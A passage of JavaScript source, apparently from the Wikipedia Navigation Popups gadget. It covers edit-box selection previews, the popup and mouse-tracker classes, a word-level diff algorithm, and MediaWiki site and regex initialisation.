imageNamespaceVariants.push(mw.util.escapeRegExp(encodeURI(_localizedNamespaceLc)));
});
return '(?:' + imageNamespaceVariants.join('|') + ')';
}
function nsReImage() {
return nsRe(pg.nsImageId);
}
// ENDFILE: namespaces.js
// STARTFILE: selpop.js
function getEditboxSelection() {
// see http://www.webgurusforum.com/8/12/0
let editbox;
try {
editbox = document.editform.wpTextbox1;
} catch (dang) {
return;
}
// IE, Opera
if (document.selection) {
return document.selection.createRange().text;
}
// Mozilla
const selStart = editbox.selectionStart;
const selEnd = editbox.selectionEnd;
return editbox.value.substring(selStart, selEnd);
}
function doSelectionPopup() {
// popup if the selection looks like [[foo|anything afterwards at all
// or [[foo|bar]]text without ']]'
// or [[foo|bar]]
const sel = getEditboxSelection();
const open = sel.indexOf('[[');
const pipe = sel.indexOf('|');
const close = sel.indexOf(']]');
if (open == -1 || (pipe == -1 && close == -1)) {
return;
}
if ((pipe != -1 && open > pipe) || (close != -1 && open > close)) {
return;
}
const article = new Title(sel.substring(open + 2, pipe < 0 ? close : pipe));
if (getValueOf('popupOnEditSelection') == 'boxpreview') {
return doSeparateSelectionPopup(sel, article);
}
if (close > 0 && sel.substring(close + 2).indexOf('[[') >= 0) {
return;
}
const a = document.createElement('a');
a.href = pg.wiki.titlebase + article.urlString();
mouseOverWikiLink2(a);
if (a.navpopup) {
a.navpopup.addHook(
() => {
runStopPopupTimer(a.navpopup);
},
'unhide',
'after'
);
}
}
function doSeparateSelectionPopup(str, article) {
let div = document.getElementById('selectionPreview');
if (!div) {
div = document.createElement('div');
div.id = 'selectionPreview';
try {
const box = document.editform.wpTextbox1;
box.parentNode.insertBefore(div, box);
} catch (error) {
return;
}
}
const p = prepPreviewmaker(str, article, newNavpopup(document.createElement('a'), article));
p.makePreview();
if (p.html) {
div.innerHTML = p.html;
}
div.ranSetupTooltipsAlready = false;
popTipsSoonFn('selectionPreview')();
}
// ENDFILE: selpop.js
// STARTFILE: navpopup.js
/**
* @file Defines two classes: {@link Navpopup} and {@link Mousetracker}.
*
* <code>Navpopup</code> describes popups: when they appear, where, what
* they look like and so on.
*
* <code>Mousetracker</code> "captures" the mouse using
* <code>document.onmousemove</code>.
*/
/**
* Creates a new Mousetracker.
*
* @constructor
* @class The Mousetracker class. This monitors mouse movements and manages associated hooks.
*/
function Mousetracker() {
/**
* Interval to regularly run the hooks anyway, in milliseconds.
*
* @type {number}
*/
this.loopDelay = 400;
/**
* Timer for the loop.
*
* @type {Timer}
*/
this.timer = null;
/**
* Flag - are we switched on?
*
* @type {boolean}
*/
this.active = false;
/**
* Flag - are we probably inaccurate, i.e. not reflecting the actual mouse position?
*/
this.dirty = true;
/**
* Array of hook functions.
*
* @private
* @type {Array}
*/
this.hooks = [];
}
/**
* Adds a hook, to be called when we get events.
*
* @param {Function} f A function which is called as
* <code>f(x,y)</code>. It should return <code>true</code> when it
* wants to be removed, and <code>false</code> otherwise.
*/
Mousetracker.prototype.addHook = function (f) {
this.hooks.push(f);
};
/**
* Runs hooks, passing them the x
* and y coords of the mouse. Hook functions that return true are
* passed to {@link Mousetracker#removeHooks} for removal.
*
* @private
*/
Mousetracker.prototype.runHooks = function () {
if (!this.hooks || !this.hooks.length) {
return;
}
//log('Mousetracker.runHooks; we got some hooks to run');
let remove = false;
const removeObj = {};
// this method gets called a LOT -
// pre-cache some variables
const x = this.x,
y = this.y,
len = this.hooks.length;
for (let i = 0; i < len; ++i) {
//~ run the hook function, and remove it if it returns true
if (this.hooks[i](x, y) === true) {
remove = true;
removeObj[i] = true;
}
}
if (remove) {
this.removeHooks(removeObj);
}
};
/**
* Removes hooks.
*
* @private
* @param {Object} removeObj An object whose keys are the index
* numbers of functions for removal, with values that evaluate to true
*/
Mousetracker.prototype.removeHooks = function (removeObj) {
const newHooks = [];
const len = this.hooks.length;
for (let i = 0; i < len; ++i) {
if (!removeObj[i]) {
newHooks.push(this.hooks[i]);
}
}
this.hooks = newHooks;
};
/**
* Event handler for mouse wiggles.
* We simply grab the event, set x and y and run the hooks.
* This makes the cpu all hot and bothered :-(
*
* @private
* @param {Event} e Mousemove event
*/
Mousetracker.prototype.track = function (e) {
//~ Apparently this is needed in IE.
e = e || window.event;
let x, y;
if (e) {
if (e.pageX) {
x = e.pageX;
y = e.pageY;
} else if (typeof e.clientX != 'undefined') {
let left,
top,
docElt = document.documentElement;
if (docElt) {
left = docElt.scrollLeft;
}
left = left || document.body.scrollLeft || document.scrollLeft || 0;
if (docElt) {
top = docElt.scrollTop;
}
top = top || document.body.scrollTop || document.scrollTop || 0;
x = e.clientX + left;
y = e.clientY + top;
} else {
return;
}
this.setPosition(x, y);
}
};
/**
* Sets the x and y coordinates stored and takes appropriate action,
* running hooks as appropriate.
*
* @param {number} x Screen coordinates to set
* @param {number} y Screen coordinates to set
*/
Mousetracker.prototype.setPosition = function (x, y) {
this.x = x;
this.y = y;
if (this.dirty || this.hooks.length === 0) {
this.dirty = false;
return;
}
if (typeof this.lastHook_x != 'number') {
this.lastHook_x = -100;
this.lastHook_y = -100;
}
let diff = (this.lastHook_x - x) * (this.lastHook_y - y);
diff = diff >= 0 ? diff : -diff;
if (diff > 1) {
this.lastHook_x = x;
this.lastHook_y = y;
if (this.dirty) {
this.dirty = false;
} else {
this.runHooks();
}
}
};
/**
* Sets things in motion, unless they are already that is, registering an event handler on
* <code>document.onmousemove</code>. A half-hearted attempt is made to preserve the old event
* handler if there is one.
*/
Mousetracker.prototype.enable = function () {
if (this.active) {
return;
}
this.active = true;
//~ Save the current handler for mousemove events. This isn't too
//~ robust, of course.
this.savedHandler = document.onmousemove;
//~ Gotta save @tt{this} again for the closure, and use apply for
//~ the member function.
const savedThis = this;
document.onmousemove = function (e) {
savedThis.track.apply(savedThis, [e]);
};
if (this.loopDelay) {
this.timer = setInterval(() => {
//log('loop delay in mousetracker is working');
savedThis.runHooks();
}, this.loopDelay);
}
};
/**
* Disables the tracker, removing the event handler.
*/
Mousetracker.prototype.disable = function () {
if (!this.active) {
return;
}
if (typeof this.savedHandler === 'function') {
document.onmousemove = this.savedHandler;
} else {
delete document.onmousemove;
}
if (this.timer) {
clearInterval(this.timer);
}
this.active = false;
};
/**
* Creates a new Navpopup.
* Gets a UID for the popup and
*
* @param init Contructor object. If <code>init.draggable</code> is true or absent, the popup becomes draggable.
* @constructor
* @class The Navpopup class. This generates popup hints, and does some management of them.
*/
function Navpopup(/*init*/) {
//alert('new Navpopup(init)');
/**
* UID for each Navpopup instance.
* Read-only.
*
* @type {number}
*/
this.uid = Navpopup.uid++;
/**
* Read-only flag for current visibility of the popup.
*
* @type {boolean}
* @private
*/
this.visible = false;
/** Flag to be set when we want to cancel a previous request to
* show the popup in a little while.
*
* @private
* @type {boolean}
*/
this.noshow = false;
/** Categorised list of hooks.
* @see #runHooks
* @see #addHook
* @private
* @type {Object}
*/
this.hooks = {
create: [],
unhide: [],
hide: [],
};
/**
* list of unique IDs of hook functions, to avoid duplicates
*
* @private
*/
this.hookIds = {};
/** List of downloads associated with the popup.
* @private
* @type {Array}
*/
this.downloads = [];
/**
* Number of uncompleted downloads.
*
* @type {number}
*/
this.pending = null;
/**
* Tolerance in pixels when detecting whether the mouse has left the popup.
*
* @type {number}
*/
this.fuzz = 5;
/**
* Flag to toggle running {@link #limitHorizontalPosition} to regulate the popup's position.
*
* @type {boolean}
*/
this.constrained = true;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.width = 0;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.height = 0;
/**
* The main content DIV element.
*
* @type {HTMLDivElement}
*/
this.mainDiv = null;
this.createMainDiv();
// if (!init || typeof init.popups_draggable=='undefined' || init.popups_draggable) {
// this.makeDraggable(true);
// }
}
/**
* A UID for each Navpopup. This constructor property is just a counter.
*
* @type {number}
* @private
*/
Navpopup.uid = 0;
/**
* Retrieves the {@link #visible} attribute, indicating whether the popup is currently visible.
*
* @type {boolean}
*/
Navpopup.prototype.isVisible = function () {
return this.visible;
};
/**
* Repositions popup using CSS style.
*
* @private
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @param {boolean} noLimitHor Don't call {@link #limitHorizontalPosition}
*/
Navpopup.prototype.reposition = function (x, y, noLimitHor) {
log('reposition(' + x + ',' + y + ',' + noLimitHor + ')');
if (typeof x != 'undefined' && x !== null) {
this.left = x;
}
if (typeof y != 'undefined' && y !== null) {
this.top = y;
}
if (typeof this.left != 'undefined' && typeof this.top != 'undefined') {
this.mainDiv.style.left = this.left + 'px';
this.mainDiv.style.top = this.top + 'px';
}
if (!noLimitHor) {
this.limitHorizontalPosition();
}
//console.log('navpop'+this.uid+' - (left,top)=(' + this.left + ',' + this.top + '), css=('
//+ this.mainDiv.style.left + ',' + this.mainDiv.style.top + ')');
};
/**
* Prevents popups from being in silly locations. Hopefully.
* Should not be run if {@link #constrained} is true.
*
* @private
*/
Navpopup.prototype.limitHorizontalPosition = function () {
if (!this.constrained || this.tooWide) {
return;
}
this.updateDimensions();
const x = this.left;
const w = this.width;
const cWidth = document.body.clientWidth;
// log('limitHorizontalPosition: x='+x+
// ', this.left=' + this.left +
// ', this.width=' + this.width +
// ', cWidth=' + cWidth);
if (
x + w >= cWidth ||
(x > 0 &&
this.maxWidth &&
this.width < this.maxWidth &&
this.height > this.width &&
x > cWidth - this.maxWidth)
) {
// This is a very nasty hack. There has to be a better way!
// We find the "natural" width of the div by positioning it at the far left
// then reset it so that it should be flush right (well, nearly)
this.mainDiv.style.left = '-10000px';
this.mainDiv.style.width = this.maxWidth + 'px';
const naturalWidth = parseInt(this.mainDiv.offsetWidth, 10);
let newLeft = cWidth - naturalWidth - 1;
if (newLeft < 0) {
newLeft = 0;
this.tooWide = true;
} // still unstable for really wide popups?
log(
'limitHorizontalPosition: moving to (' +
newLeft +
',' +
this.top +
');' +
' naturalWidth=' +
naturalWidth +
', clientWidth=' +
cWidth
);
this.reposition(newLeft, null, true);
}
};
/**
* Counter indicating the z-order of the "highest" popup.
* We start the z-index at 1000 so that popups are above everything
* else on the screen.
*
* @private
* @type {number}
*/
Navpopup.highest = 1000;
/**
* Brings popup to the top of the z-order.
* We increment the {@link #highest} property of the contructor here.
*
* @private
*/
Navpopup.prototype.raise = function () {
this.mainDiv.style.zIndex = Navpopup.highest + 1;
++Navpopup.highest;
};
/**
* Shows the popup provided {@link #noshow} is not true.
* Updates the position, brings the popup to the top of the z-order and unhides it.
*/
Navpopup.prototype.show = function () {
//document.title+='s';
if (this.noshow) {
return;
}
//document.title+='t';
this.reposition();
this.raise();
this.unhide();
};
/**
* Checks to see if the mouse pointer has
* stabilised (checking every <code>time</code>/2 milliseconds) and runs the
* {@link #show} method if it has.
*
* @param {number} time The minimum time (ms) before the popup may be shown.
*/
Navpopup.prototype.showSoonIfStable = function (time) {
log('showSoonIfStable, time=' + time);
if (this.visible) {
return;
}
this.noshow = false;
//~ initialize these variables so that we never run @tt{show} after
//~ just half the time
this.stable_x = -10000;
this.stable_y = -10000;
const stableShow = function () {
log('stableShow called');
let new_x = Navpopup.tracker.x,
new_y = Navpopup.tracker.y;
let dx = savedThis.stable_x - new_x,
dy = savedThis.stable_y - new_y;
let fuzz2 = 0; // savedThis.fuzz * savedThis.fuzz;
//document.title += '[' + [savedThis.stable_x,new_x, savedThis.stable_y,new_y, dx, dy, fuzz2].join(',') + '] ';
if (dx * dx <= fuzz2 && dy * dy <= fuzz2) {
log('mouse is stable');
clearInterval(savedThis.showSoonStableTimer);
savedThis.reposition.apply(savedThis, [new_x + 2, new_y + 2]);
savedThis.show.apply(savedThis, []);
savedThis.limitHorizontalPosition.apply(savedThis, []);
return;
}
savedThis.stable_x = new_x;
savedThis.stable_y = new_y;
};
var savedThis = this;
this.showSoonStableTimer = setInterval(stableShow, time / 2);
};
/**
* Sets the {@link #noshow} flag and hides the popup. This should be called
* when the mouse leaves the link before
* (or after) it's actually been displayed.
*/
Navpopup.prototype.banish = function () {
log('banish called');
// hide and prevent showing with showSoon in the future
this.noshow = true;
if (this.showSoonStableTimer) {
log('clearing showSoonStableTimer');
clearInterval(this.showSoonStableTimer);
}
this.hide();
};
/**
* Runs hooks added with {@link #addHook}.
*
* @private
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {string} when Controls exactly when the hook is run: either 'before' or 'after'
*/
Navpopup.prototype.runHooks = function (key, when) {
if (!this.hooks[key]) {
return;
}
const keyHooks = this.hooks[key];
const len = keyHooks.length;
for (let i = 0; i < len; ++i) {
if (keyHooks[i] && keyHooks[i].when == when) {
if (keyHooks[i].hook.apply(this, [])) {
// remove the hook
if (keyHooks[i].hookId) {
delete this.hookIds[keyHooks[i].hookId];
}
keyHooks[i] = null;
}
}
}
};
/**
* Adds a hook to the popup. Hook functions are run with <code>this</code> set to refer to the
* Navpopup instance, and no arguments.
*
* @param {Function} hook The hook function. Functions that return true are deleted.
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {String} when Controls exactly when the hook is run: either 'before' or 'after'
* @param {String} uid A truthy string identifying the hook function; if it matches another hook
* in this position, it won't be added again.
*/
Navpopup.prototype.addHook = function (hook, key, when, uid) {
when = when || 'after';
if (!this.hooks[key]) {
return;
}
// if uid is specified, don't add duplicates
let hookId = null;
if (uid) {
hookId = [key, when, uid].join('|');
if (this.hookIds[hookId]) {
return;
}
this.hookIds[hookId] = true;
}
this.hooks[key].push({ hook: hook, when: when, hookId: hookId });
};
/**
* Creates the main DIV element, which contains all the actual popup content.
* Runs hooks with key 'create'.
*
* @private
*/
Navpopup.prototype.createMainDiv = function () {
if (this.mainDiv) {
return;
}
this.runHooks('create', 'before');
const mainDiv = document.createElement('div');
const savedThis = this;
mainDiv.onclick = function (e) {
savedThis.onclickHandler(e);
};
mainDiv.className = this.className ? this.className : 'navpopup_maindiv';
mainDiv.id = mainDiv.className + this.uid;
mainDiv.style.position = 'absolute';
mainDiv.style.minWidth = '350px';
mainDiv.style.display = 'none';
mainDiv.className = 'navpopup';
// easy access to javascript object through DOM functions
mainDiv.navpopup = this;
this.mainDiv = mainDiv;
document.body.appendChild(mainDiv);
this.runHooks('create', 'after');
};
/**
* Calls the {@link #raise} method.
*
* @private
*/
Navpopup.prototype.onclickHandler = function (/*e*/) {
this.raise();
};
/**
* Makes the popup draggable, using a {@link Drag} object.
*
* @private
*/
Navpopup.prototype.makeDraggable = function (handleName) {
if (!this.mainDiv) {
this.createMainDiv();
}
const drag = new Drag();
if (!handleName) {
drag.startCondition = function (e) {
try {
if (!e.shiftKey) {
return false;
}
} catch (err) {
return false;
}
return true;
};
}
let dragHandle;
if (handleName) {
dragHandle = document.getElementById(handleName);
}
if (!dragHandle) {
dragHandle = this.mainDiv;
}
const np = this;
drag.endHook = function (x, y) {
Navpopup.tracker.dirty = true;
np.reposition(x, y);
};
drag.init(dragHandle, this.mainDiv);
};
/**
* Hides the popup using CSS. Runs hooks with key 'hide'.
* Sets {@link #visible} appropriately.
* {@link #banish} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.hide = function () {
this.runHooks('hide', 'before');
this.abortDownloads();
if (typeof this.visible != 'undefined' && this.visible) {
this.mainDiv.style.display = 'none';
this.visible = false;
}
this.runHooks('hide', 'after');
};
/**
* Shows the popup using CSS. Runs hooks with key 'unhide'.
* Sets {@link #visible} appropriately. {@link #show} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.unhide = function () {
this.runHooks('unhide', 'before');
if (typeof this.visible != 'undefined' && !this.visible) {
this.mainDiv.style.display = 'inline';
this.visible = true;
}
this.runHooks('unhide', 'after');
};
/**
* Sets the <code>innerHTML</code> attribute of the main div containing the popup content.
*
* @param {string} html The HTML to set.
*/
Navpopup.prototype.setInnerHTML = function (html) {
this.mainDiv.innerHTML = html;
};
/**
* Updates the {@link #width} and {@link #height} attributes with the CSS properties.
*
* @private
*/
Navpopup.prototype.updateDimensions = function () {
this.width = parseInt(this.mainDiv.offsetWidth, 10);
this.height = parseInt(this.mainDiv.offsetHeight, 10);
};
/**
* Checks if the point (x,y) is within {@link #fuzz} of the
* {@link #mainDiv}.
*
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @type {boolean}
*/
Navpopup.prototype.isWithin = function (x, y) {
//~ If we're not even visible, no point should be considered as
//~ being within the popup.
if (!this.visible) {
return false;
}
this.updateDimensions();
const fuzz = this.fuzz || 0;
//~ Use a simple box metric here.
return (
x + fuzz >= this.left &&
x - fuzz <= this.left + this.width &&
y + fuzz >= this.top &&
y - fuzz <= this.top + this.height
);
};
/**
* Adds a download to {@link #downloads}.
*
* @param {Downloader} download
*/
Navpopup.prototype.addDownload = function (download) {
if (!download) {
return;
}
this.downloads.push(download);
};
/**
* Aborts the downloads listed in {@link #downloads}.
*
* @see Downloader#abort
*/
Navpopup.prototype.abortDownloads = function () {
for (let i = 0; i < this.downloads.length; ++i) {
const d = this.downloads[i];
if (d && d.abort) {
d.abort();
}
}
this.downloads = [];
};
/**
* A {@link Mousetracker} instance which is a property of the constructor (pseudo-global).
*/
Navpopup.tracker = new Mousetracker();
// ENDFILE: navpopup.js
// STARTFILE: diff.js
/*
* Javascript Diff Algorithm
* By John Resig (http://ejohn.org/) and [[:en:User:Lupin]]
*
* More Info:
* http://ejohn.org/projects/javascript-diff-algorithm/
*/
function delFmt(x) {
if (!x.length) {
return '';
}
return "<del class='popupDiff'>" + x.join('') + '</del>';
}
function insFmt(x) {
if (!x.length) {
return '';
}
return "<ins class='popupDiff'>" + x.join('') + '</ins>';
}
function countCrossings(a, b, i, eject) {
// count the crossings on the edge starting at b[i]
if (!b[i].row && b[i].row !== 0) {
return -1;
}
let count = 0;
for (let j = 0; j < a.length; ++j) {
if (!a[j].row && a[j].row !== 0) {
continue;
}
if ((j - b[i].row) * (i - a[j].row) > 0) {
if (eject) {
return true;
}
count++;
}
}
return count;
}
function shortenDiffString(str, context) {
const re = /(<del[\s\S]*?<\/del>|<ins[\s\S]*?<\/ins>)/;
const splitted = str.parenSplit(re);
let ret = [''];
for (let i = 0; i < splitted.length; i += 2) {
if (splitted[i].length < 2 * context) {
ret[ret.length - 1] += splitted[i];
if (i + 1 < splitted.length) {
ret[ret.length - 1] += splitted[i + 1];
}
continue;
} else {
if (i > 0) {
ret[ret.length - 1] += splitted[i].substring(0, context);
}
if (i + 1 < splitted.length) {
ret.push(splitted[i].substring(splitted[i].length - context) + splitted[i + 1]);
}
}
}
while (ret.length > 0 && !ret[0]) {
ret = ret.slice(1);
}
return ret;
}
function diffString(o, n, simpleSplit) {
const splitRe = /([[]{2}|[\]]{2}|[{]{2,3}|[}]{2,3}|[|]|=|<|>|[*:]+|\s|\b)/;
// We need to split the strings o and n first, and entify() the parts
// individually, so that the HTML entities are never cut apart. (AxelBoldt)
let out, i, oSplitted, nSplitted;
if (simpleSplit) {
oSplitted = o.split(/\b/);
nSplitted = n.split(/\b/);
} else {
oSplitted = o.parenSplit(splitRe);
nSplitted = n.parenSplit(splitRe);
}
for (i = 0; i < oSplitted.length; ++i) {
oSplitted[i] = oSplitted[i].entify();
}
for (i = 0; i < nSplitted.length; ++i) {
nSplitted[i] = nSplitted[i].entify();
}
out = diff(oSplitted, nSplitted);
let str = '';
let acc = []; // accumulator for prettier output
// crossing pairings -- eg 'A B' vs 'B A' -- cause problems, so let's iron them out
// this doesn't always do things optimally but it should be fast enough
let maxOutputPair = 0;
for (i = 0; i < out.n.length; ++i) {
if (out.n[i].paired) {
if (maxOutputPair > out.n[i].row) {
// tangle - delete pairing
out.o[out.n[i].row] = out.o[out.n[i].row].text;
out.n[i] = out.n[i].text;
}
if (maxOutputPair < out.n[i].row) {
maxOutputPair = out.n[i].row;
}
}
}
// output the stuff preceding the first paired old line
for (i = 0; i < out.o.length && !out.o[i].paired; ++i) {
acc.push(out.o[i]);
}
str += delFmt(acc);
acc = [];
// main loop
for (i = 0; i < out.n.length; ++i) {
// output unpaired new "lines"
while (i < out.n.length && !out.n[i].paired) {
acc.push(out.n[i++]);
}
str += insFmt(acc);
acc = [];
if (i < out.n.length) {
// this new "line" is paired with the (out.n[i].row)th old "line"
str += out.n[i].text;
// output unpaired old rows starting after this new line's partner
let m = out.n[i].row + 1;
while (m < out.o.length && !out.o[m].paired) {
acc.push(out.o[m++]);
}
str += delFmt(acc);
acc = [];
}
}
return str;
}
// see http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Global_Objects:Object
// FIXME: use obj.hasOwnProperty instead of this kludge!
const jsReservedProperties = RegExp(
'^(constructor|prototype|__((define|lookup)[GS]etter)__' +
'|eval|hasOwnProperty|propertyIsEnumerable' +
'|to(Source|String|LocaleString)|(un)?watch|valueOf)$'
);
function diffBugAlert(word) {
if (!diffBugAlert.list[word]) {
diffBugAlert.list[word] = 1;
alert('Bad word: ' + word + '\n\nPlease report this bug.');
}
}
diffBugAlert.list = {};
function makeDiffHashtable(src) {
const ret = {};
for (let i = 0; i < src.length; i++) {
if (jsReservedProperties.test(src[i])) {
src[i] += '<!-- -->';
}
if (!ret[src[i]]) {
ret[src[i]] = [];
}
try {
ret[src[i]].push(i);
} catch (err) {
diffBugAlert(src[i]);
}
}
return ret;
}
function diff(o, n) {
// pass 1: make hashtable ns with new rows as keys
const ns = makeDiffHashtable(n);
// pass 2: make hashtable os with old rows as keys
const os = makeDiffHashtable(o);
// pass 3: pair unique new rows and matching unique old rows
let i;
for (i in ns) {
if (ns[i].length == 1 && os[i] && os[i].length == 1) {
n[ns[i][0]] = { text: n[ns[i][0]], row: os[i][0], paired: true };
o[os[i][0]] = { text: o[os[i][0]], row: ns[i][0], paired: true };
}
}
// pass 4: pair matching rows immediately following paired rows (not necessarily unique)
for (i = 0; i < n.length - 1; i++) {
if (
n[i].paired &&
!n[i + 1].paired &&
n[i].row + 1 < o.length &&
!o[n[i].row + 1].paired &&
n[i + 1] == o[n[i].row + 1]
) {
n[i + 1] = { text: n[i + 1], row: n[i].row + 1, paired: true };
o[n[i].row + 1] = { text: o[n[i].row + 1], row: i + 1, paired: true };
}
}
// pass 5: pair matching rows immediately preceding paired rows (not necessarily unique)
for (i = n.length - 1; i > 0; i--) {
if (
n[i].paired &&
!n[i - 1].paired &&
n[i].row > 0 &&
!o[n[i].row - 1].paired &&
n[i - 1] == o[n[i].row - 1]
) {
n[i - 1] = { text: n[i - 1], row: n[i].row - 1, paired: true };
o[n[i].row - 1] = { text: o[n[i].row - 1], row: i - 1, paired: true };
}
}
return { o: o, n: n };
}
// ENDFILE: diff.js
// STARTFILE: init.js
function setSiteInfo() {
if (window.popupLocalDebug) {
pg.wiki.hostname = 'en.wikipedia.org';
} else {
pg.wiki.hostname = location.hostname; // use in preference to location.hostname for flexibility (?)
}
pg.wiki.wikimedia = /(wiki([pm]edia|source|books|news|quote|versity|species|voyage|data)|metawiki|wiktionary|mediawiki)[.]org/.test(pg.wiki.hostname);
pg.wiki.wikia = /[.]wikia[.]com$/i.test(pg.wiki.hostname);
pg.wiki.isLocal = /^localhost/.test(pg.wiki.hostname);
pg.wiki.commons =
pg.wiki.wikimedia && pg.wiki.hostname != 'commons.wikimedia.org' ?
'commons.wikimedia.org' :
null;
pg.wiki.lang = mw.config.get('wgContentLanguage');
const port = location.port ? ':' + location.port : '';
pg.wiki.sitebase = pg.wiki.hostname + port;
}
function setUserInfo() {
const params = {
action: 'query',
list: 'users',
ususers: mw.config.get('wgUserName'),
usprop: 'rights',
};
pg.user.canReview = false;
if (getValueOf('popupReview')) {
getMwApi()
.get(params)
.done((data) => {
const rights = data.query.users[0].rights;
pg.user.canReview = rights.indexOf('review') !== -1; // TODO: Should it be a getValueOf('ReviewRight') ?
});
}
}
function fetchSpecialPageNames() {
const params = {
action: 'query',
meta: 'siteinfo',
siprop: 'specialpagealiases',
formatversion: 2,
// cache for an hour
uselang: 'content',
maxage: 3600,
};
return getMwApi()
.get(params)
.then((data) => {
pg.wiki.specialpagealiases = data.query.specialpagealiases;
});
}
function setTitleBase() {
const protocol = window.popupLocalDebug ? 'http:' : location.protocol;
pg.wiki.articlePath = mw.config.get('wgArticlePath').replace(/\/\$1/, ''); // as in http://some.thing.com/wiki/Article
pg.wiki.botInterfacePath = mw.config.get('wgScript');
pg.wiki.APIPath = mw.config.get('wgScriptPath') + '/api.php';
// default mediawiki setting is paths like http://some.thing.com/articlePath/index.php?title=foo
const titletail = pg.wiki.botInterfacePath + '?title=';
//var titletail2 = joinPath([pg.wiki.botInterfacePath, 'wiki.phtml?title=']);
// other sites may need to add code here to set titletail depending on how their urls work
pg.wiki.titlebase = protocol + '//' + pg.wiki.sitebase + titletail;
//pg.wiki.titlebase2 = protocol + '//' + joinPath([pg.wiki.sitebase, titletail2]);
pg.wiki.wikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.botInterfacePath;
pg.wiki.apiwikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.APIPath;
pg.wiki.articlebase = protocol + '//' + pg.wiki.sitebase + pg.wiki.articlePath;
pg.wiki.commonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.botInterfacePath;
pg.wiki.apicommonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.APIPath;
pg.re.basenames = RegExp(
'^(' +
map(literalizeRegex, [
pg.wiki.titlebase, //pg.wiki.titlebase2,
pg.wiki.articlebase,
]).join('|') +
')'
);
}
//////////////////////////////////////////////////
// Global regexps
function setMainRegex() {
const reStart = '[^:]*://';
let preTitles =
// Take customizable wgScript into account (it isn't guaranteed to be index.php)
'(?:' + literalizeRegex(mw.config.get('wgScript')) + '|' +
// handle index.php (likely to work even if different from wgScript) and legacy wiki.phtml
literalizeRegex(mw.config.get('wgScriptPath')) + '/(?:index[.]php|wiki[.]phtml))';
preTitles += '[?]title=|' + literalizeRegex(pg.wiki.articlePath + '/');
const reEnd = '(' + preTitles + ')([^&?#]*)[^#]*(?:#(.+))?';
pg.re.main = RegExp(reStart + literalizeRegex(pg.wiki.sitebase) + reEnd);
}
function buildSpecialPageGroup(specialPageObj) {
const variants = [];
variants.push(mw.util.escapeRegExp(specialPageObj.realname));
variants.push(mw.util.escapeRegExp(encodeURI(specialPageObj.realname)));
specialPageObj.aliases.forEach((alias) => {
variants.push(mw.util.escapeRegExp(alias));
variants.push(mw.util.escapeRegExp(encodeURI(alias)));
});
return variants.join('|');
}
function setRegexps() {
setMainRegex();
const sp = nsRe(pg.nsSpecialId);
pg.re.urlNoPopup = RegExp('((title=|/)' + sp + '(?:%3A|:)|section=[0-9]|^#$)');
pg.wiki.specialpagealiases.forEach((specialpage) => {
if (specialpage.realname === 'Contributions') {
pg.re.contribs = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/' +
nsRe(pg.nsUserId) +
':)(.*)',
'i'
);
} else if (specialpage.realname === 'Diff') {
pg.re.specialdiff = RegExp(
'/' + sp + '(?:%3A|:)(?:' + buildSpecialPageGroup(specialpage) + ')/([^?#]*)',
'i'
);
} else if (specialpage.realname === 'Emailuser') {
pg.re.email = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/(?:' +
nsRe(pg.nsUserId) +
':)?)(.*)',
'i'
);
} else if (specialpage.realname === 'Whatlinkshere') {
pg.re.backlinks = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/)([^&]*)',
'i'
);
}
});
const im = nsReImage();
// note: tries to get images in infobox templates too, e.g. movie pages, album pages etc
// (^|\[\[)image: *([^|\]]*[^|\] ]) *
// (^|\[\[)image: *([^|\]]*[^|\] ])([^0-9\]]*([0-9]+) *px)?
// $4 = 120 as in 120px
pg.re.image = RegExp(
'(^|\\[\\[)' +
im +
': *([^|\\]]*[^|\\] ])' +
'([^0-9\\]]*([0-9]+) *px)?|(?:\\n *[|]?|[|]) *' +
'(' +
getValueOf('popupImageVarsRegexp') +
')' +
' *= *(?:\\[\\[ *)?(?:' +
im +
':)?' +
'([^|]*?)(?:\\]\\])? *[|]? *\\n',
'img'
);
pg.re.imageBracketCount = 6;
pg.re.category = RegExp('\\[\\[' + nsRe(pg.nsCategoryId) + ': *([^|\\]]*[^|\\] ]) *', 'i');
pg.re.categoryBracketCount = 1;
pg.re.ipUser = RegExp(
'^' +
// IPv6
'(?::(?::|(?::[0-9A-Fa-f]{1,4}){1,7})|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){0,6}::|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){7})' +
// IPv4
'|(((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}' +
'(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9]))$'
);
pg.re.stub = RegExp(getValueOf('popupStubRegexp'), 'im');
pg.re.disambig = RegExp(getValueOf('popupDabRegexp'), 'im');
// FIXME replace with general parameter parsing function, this is daft
pg.re.oldid = /[?&]oldid=([^&]*)/;
pg.re.diff = /[?&]diff=([^&]*)/;
}
//////////////////////////////////////////////////
// miscellany
function setupCache() {
// page caching
pg.cache.pages = [];
}
function setMisc() {
pg.current.link = null;
pg.current.links = [];
pg.current.linksHash = {};
setupCache();
pg.timer.checkPopupPosition = null;
pg.counter.loop = 0;
// ids change with each popup: popupImage0, popupImage1 etc
pg.idNumber = 0;
// for myDecodeURI
pg.misc.decodeExtras = [
{ from: '%2C', to: ',' },
{ from: '_', to: ' ' },
{ from: '%24', to: '$' },
{ from: '%26', to: '&' }, // no ,
];
}
function getMwApi() {
